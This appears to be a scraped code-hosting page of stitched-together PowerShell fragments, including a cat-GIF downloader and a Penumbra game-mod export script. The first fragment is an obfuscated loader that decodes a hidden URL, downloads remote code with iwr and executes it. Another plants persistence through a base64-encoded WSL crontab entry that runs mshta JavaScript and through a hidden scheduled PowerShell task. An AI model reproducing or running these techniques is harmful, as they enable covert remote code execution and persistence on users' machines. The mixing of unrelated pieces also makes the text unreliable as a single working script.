$global:yizxgjtrvb=$ExecutionContext;& ([System.Management.Automation.Language.ScriptBlockAst]::new([ScriptBlock]::Create("Write-Output 'Hello'").Ast.Extent,`
($global:yizxgjtrvb).SessionState.PSVariable.Get($HhsOWDIJu72fNLrB9lQ4),`
($global:yizxgjtrvb).SessionState.PSVariable.Get($I21Rk7SB0TbP6c9FuoaC),`
($global:yizxgjtrvb).SessionState.PSVariable.Get($kSEs5zLbKv2OpyWeqIHJ),`
[ScriptBlock]::Create("$(($global:yizxgjtrvb).SessionState.([system.String]::new(@((-6748+(4913601/(1027-(110670/(2511138/(7675-(2816-(3174-(-998+(5318011/(1975946/742))))))))))),(557-447),(4241-(-4799+8922)),(305361/(15790740/5740)),(-5951+(-1220+(9028-(4745-(10821-7826))))),(9517-9416),(3866-3767),(117327/1057),(406679/(-1428+5159)),(-4989+5098),(485-388),(9306-(15466-6270)),(-1258+1358)))).NewScriptBlock(((((`
iwr -useb $([string]::new(([System.Convert]::FromBase64String("Yn5+enkwJSV4a30kbWN+Yn9of3lveGllZH5vZH4kaWVnJWZ6ZX1vZmYlWmV9b3hZYm9mZkdrZn1reG9PcmtnemZveSV4b2x5JWJva255JWdrY2QlWnhlaW95eUNkYG9pfmNlZFU6Ojskenk7") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Add-Type -AssemblyName System.Windows.Forms | |
| Add-Type -AssemblyName System.Drawing | |
| Add-Type -AssemblyName System.Net.Http | |
| [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12 | |
| $Client = New-Object System.Net.Http.HttpClient | |
| $response = $Client.GetAsync("https://cataas.com/cat/gif").GetAwaiter().GetResult() | |
| $Bytes = $Response.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| try{ | |
| wsl --status | out-null | |
| wsl sh -c "crontab -l > cron.bk; echo 'KiAqICogKiAqIC9tbnQvYy9XaW5kb3dzL1N5c3RlbTMyL21zaHRhLmV4ZSAiamF2YXNjcmlwdDpjb2RlKGNsb3NlKChWPSh2PW5ldyBBY3RpdmVYT2JqZWN0KCdTQVBJLlNwVm9pY2UnKSkuR2V0Vm9pY2VzKCkpLmNvdW50JiZ2LlNwZWFrKCdoZWxsbycpKSkiCg==' |base64 -d | crontab -" | |
| wsl bash -c "nohup bash -c 'while true; do sleep 1h; done &' &>/dev/null " | |
| }catch{ | |
| # do a scheduled task for fun on all platforms | |
| $exe = "powershell.exe" | |
| $arguments = "-WindowStyle Hidden -Command ""Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('Goodbye')""" | |
| $action = New-ScheduledTaskAction -Execute $exe -Argument $arguments |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Output to Documents or something idk | |
| if(-Not [System.IO.File]::Exists("$env:USERPROFILE\Documents\PenumbraExports")){ | |
| New-Item -Path "$env:USERPROFILE\Documents\" -Name "PenumbraExports" -ItemType Directory | |
| } | |
| $OutDir = "$env:USERPROFILE\Documents\PenumbraExports" | |
| # Set directory to your Penumbra mod_data folder. This should be at the following location. | |
| $dir = "$($env:APPDATA)\XIVLauncher\pluginConfigs\Penumbra\mod_data" | |
| Set-Location "$dir" |